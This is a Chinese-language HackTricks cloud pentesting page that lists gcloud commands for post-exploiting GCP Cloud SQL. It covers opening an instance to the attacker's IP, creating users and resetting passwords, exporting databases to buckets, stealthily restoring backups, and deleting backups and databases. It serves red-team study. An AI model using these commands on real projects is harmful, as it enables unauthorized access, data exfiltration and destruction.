GCP - Cloud SQL Post Exploitation

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

Cloud SQL

有关 Cloud SQL 的更多信息，请查看：

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

要连接到数据库，您只需访问数据库端口并知道用户名和密码，没有任何 IAM 要求。因此，获取访问权限的一个简单方法是，假设数据库具有公共 IP 地址，更新允许的网络并允许您自己的 IP 地址访问它。

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

也可以使用 --no-backup 来 中断数据库的备份。

由于这些是要求，我不完全确定 cloudsql.instances.connect 和 cloudsql.instances.login 的权限是什么。如果你知道，请发送一个 PR！

cloudsql.users.list

获取数据库的 所有用户列表：

gcloud sql users list --instance <intance-name>

cloudsql.users.create

此权限允许在数据库中创建新用户：

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

此权限允许更新数据库中的用户。例如，您可以更改其密码：

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

备份可能包含旧的敏感信息，因此检查它们是很有趣的。 在数据库中恢复备份：

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

为了以更隐蔽的方式进行操作，建议创建一个新的 SQL 实例，并在该实例中恢复数据，而不是在当前运行的数据库中。

cloudsql.backupRuns.delete

此权限允许删除备份：

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

将数据库导出到 Cloud Storage Bucket，以便您可以从那里访问它：

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

从 Cloud Storage Bucket 导入数据库（覆盖）：

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

从数据库实例中删除一个数据库：

gcloud sql databases delete <db-name> --instance <instance-id>

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。